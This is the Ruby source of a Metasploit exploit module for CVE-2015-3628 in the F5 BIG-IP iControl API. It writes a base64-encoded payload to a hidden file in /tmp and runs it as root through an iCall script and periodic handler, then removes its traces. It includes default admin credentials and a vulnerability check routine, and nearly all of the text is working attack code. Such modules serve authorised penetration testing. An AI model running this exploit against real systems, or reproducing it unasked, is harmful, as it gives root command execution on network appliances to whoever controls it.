This Metasploit module exploits an authenticated privilege escalation vulnerability in the iControl API on the F5 BIG-IP LTM (and likely other F5 devices). This requires valid credentials and the Resource Administrator role. The exploit should work on BIG-IP 11.3.0 - 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references for more details).
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
require 'nokogiri'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
SOAPENV_ENCODINGSTYLE = { "soapenv:encodingStyle" => "http://schemas.xmlsoap.org/soap/encoding/" }
STRING_ATTRS = { 'xsi:type' => 'urn:Common.StringSequence', 'soapenc:arrayType' => 'xsd:string[]', 'xmlns:urn' => 'urn:iControl' }
LONG_ATTRS = { 'xsi:type' => 'urn:Common.ULongSequence', 'soapenc:arrayType' => 'xsd:long[]', 'xmlns:urn' => 'urn:iControl' }
def initialize(info = {})
super(
update_info(
info,
'Name' => "F5 iControl iCall::Script Root Command Execution",
'Description' => %q{
This module exploits an authenticated privilege escalation
vulnerability in the iControl API on the F5 BIG-IP LTM (and likely
other F5 devices). This requires valid credentials and the Resource
Administrator role. The exploit should work on BIG-IP 11.3.0
- 11.6.0, (11.5.x < 11.5.3 HF2 or 11.6.x < 11.6.0 HF6, see references
for more details)
},
'License' => MSF_LICENSE,
'Author' =>
[
'tom', # Discovery, Metasploit module
'Jon Hart <jon_hart[at]rapid7.com>' # Metasploit module
],
'References' =>
[
['CVE', '2015-3628'],
['URL', 'https://support.f5.com/kb/en-us/solutions/public/16000/700/sol16728.html'],
['URL', 'https://gdssecurity.squarespace.com/labs/2015/9/8/f5-icallscript-privilege-escalation-cve-2015-3628.html']
],
'Platform' => ['unix'],
'Arch' => ARCH_CMD,
'Targets' =>
[
['F5 BIG-IP LTM 11.x', {}]
],
'Privileged' => true,
'DisclosureDate' => "Sep 3 2015",
'DefaultTarget' => 0))
register_options(
[
Opt::RPORT(443),
OptBool.new('SSL', [true, 'Use SSL', true]),
OptString.new('TARGETURI', [true, 'The base path to the iControl installation', '/iControl/iControlPortal.cgi']),
OptString.new('USERNAME', [true, 'The username to authenticate with', 'admin']),
OptString.new('PASSWORD', [true, 'The password to authenticate with', 'admin'])
])
register_advanced_options(
[
OptInt.new('SESSION_WAIT', [ true, 'The max time to wait for a session, in seconds', 5 ]),
OptString.new('PATH', [true, 'Filesystem path for the dropped payload', '/tmp']),
OptString.new('FILENAME', [false, 'File name of the dropped payload, defaults to random']),
OptInt.new('ARG_MAX', [true, 'Command line length limit', 131072])
])
end
def setup
file = datastore['FILENAME']
file ||= ".#{Rex::Text.rand_text_alphanumeric(16)}"
@payload_path = ::File.join(datastore['PATH'], file)
super
end
def build_xml
builder = Nokogiri::XML::Builder.new do |xml|
xml.Envelope do
xml = xml_add_namespaces(xml)
xml['soapenv'].Header
xml['soapenv'].Body do
yield xml
end
end
end
builder.to_xml
end
def xml_add_namespaces(xml)
ns = xml.doc.root.add_namespace_definition("soapenv", "http://schemas.xmlsoap.org/soap/envelope/")
xml.doc.root.namespace = ns
xml.doc.root.add_namespace_definition("xsi", "http://www.w3.org/2001/XMLSchema-instance")
xml.doc.root.add_namespace_definition("xsd", "http://www.w3.org/2001/XMLSchema")
xml.doc.root.add_namespace_definition("scr", "urn:iControl:iCall/Script")
xml.doc.root.add_namespace_definition("soapenc", "http://schemas.xmlsoap.org/soap/encoding")
xml.doc.root.add_namespace_definition("per", "urn:iControl:iCall/PeriodicHandler")
xml
end
def send_soap_request(pay)
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'POST',
'data' => pay,
'username' => datastore['USERNAME'],
'password' => datastore['PASSWORD']
)
if res
return res
else
vprint_error('No response')
end
false
end
def create_script(name, cmd)
create_xml = build_xml do |xml|
xml['scr'].create(SOAPENV_ENCODINGSTYLE) do
xml.scripts(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item name
end
xml.definitions(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item cmd
end
end
end
send_soap_request(create_xml)
end
def delete_script(script_name)
delete_xml = build_xml do |xml|
xml['scr'].delete_script(SOAPENV_ENCODINGSTYLE) do
xml.scripts(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item script_name
end
end
end
print_error("Error while cleaning up script #{script_name}") unless (res = send_soap_request(delete_xml))
res
end
def script_exists?(script_name)
exists_xml = build_xml do |xml|
xml['scr'].get_list(SOAPENV_ENCODINGSTYLE)
end
res = send_soap_request(exists_xml)
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{script_name}")
end
def create_handler(handler_name, script_name)
print_status("Creating trigger #{handler_name}")
handler_xml = build_xml do |xml|
xml['per'].create(SOAPENV_ENCODINGSTYLE) do
xml.handlers(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item handler_name
end
xml.scripts(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item script_name
end
xml.intervals(LONG_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
# we set this to run once every 24h, but because there is no
# start/end time it will run once, more or less immediately, and
# again 24h from now, but by that point hopefully we will have
# cleaned up and the handler/script/etc are gone
xml.item 60 * 60 * 24
end
end
end
res = send_soap_request(handler_xml)
if res
if res.code == 200 && res.body =~ Regexp.new("iCall/PeriodicHandler")
true
else
print_error("Trigger creation failed -- HTTP/#{res.proto} #{res.code} #{res.message}")
false
end
else
print_error("No response to trigger creation")
false
end
end
def delete_handler(handler_name)
delete_xml = build_xml do |xml|
xml['per'].delete_handler(SOAPENV_ENCODINGSTYLE) do
xml.handlers(STRING_ATTRS) do
xml.parent.namespace = xml.parent.parent.namespace_definitions.first
xml.item handler_name
end
end
end
print_error("Error while cleaning up handler #{handler_name}") unless (res = send_soap_request(delete_xml))
res
end
def handler_exists?(handler_name)
handler_xml = build_xml do |xml|
xml['per'].get_list(SOAPENV_ENCODINGSTYLE)
end
res = send_soap_request(handler_xml)
res && res.code == 200 && res.body =~ Regexp.new("/Common/#{handler_name}")
end
def check
# strategy: we'll send a create_script request, with empty name:
# if everything is ok, the server return a 500 error saying it doesn't like empty names
# XXX ignored at the moment: if the user doesn't have enough privileges, 500 error also is returned, but saying 'access denied'.
# if the user/password is wrong, a 401 error is returned, the server might or might not be vulnerable
# any other response is considered not vulnerable
res = create_script('', '')
if res && res.code == 500 && res.body =~ /path is empty/
return Exploit::CheckCode::Appears
elsif res && res.code == 401
print_warning("HTTP/#{res.proto} #{res.code} #{res.message} -- incorrect USERNAME or PASSWORD?")
return Exploit::CheckCode::Unknown
else
return Exploit::CheckCode::Safe
end
end
def exploit
# phase 1: create iCall script to create file with payload, execute it and remove it.
shell_cmd = %(echo #{Rex::Text.encode_base64(payload.encoded)}|base64 --decode >#{@payload_path}; chmod +x #{@payload_path};#{@payload_path})
cmd = %(exec /bin/sh -c "#{shell_cmd}")
arg_max = datastore['ARG_MAX']
if shell_cmd.size > arg_max
print_error "Payload #{datastore['PAYLOAD']} is too big, try a different payload "\
"or increasing ARG_MAX (note that payloads bigger than the target's configured ARG_MAX value may fail to execute)"
return false
end
script_name = "script-#{Rex::Text.rand_text_alphanumeric(16)}"
print_status("Uploading payload script #{script_name}")
unless (create_script_res = create_script(script_name, cmd))
print_error("No response when uploading payload script")
return false
end
unless create_script_res.code == 200
print_error("Upload payload script failed -- HTTP/#{create_script_res.proto} "\
"#{create_script_res.code} #{create_script_res.message}")
return false
end
unless script_exists?(script_name)
print_error("Payload script uploaded successfully but script was not found")
return false
end
register_file_for_cleanup @payload_path
# phase 2: create iCall Handler, that will actually run the previously created script
handler_name = "handler-#{Rex::Text.rand_text_alphanumeric(16)}"
unless create_handler(handler_name, script_name)
delete_script(script_name)
return false
end
unless handler_exists?(handler_name)
print_error("Trigger created successfully but was not found")
delete_script(script_name)
return false
end
print_status('Waiting for payload to execute...')
# if our payload has not been successfully executed just yet, wait
# until it does or give up
slept = 0
until session_created? || slept > datastore['SESSION_WAIT']
Rex.sleep(1)
slept += 1
end
print_status('Trying cleanup...')
delete_script(script_name)
delete_handler(handler_name)
end
end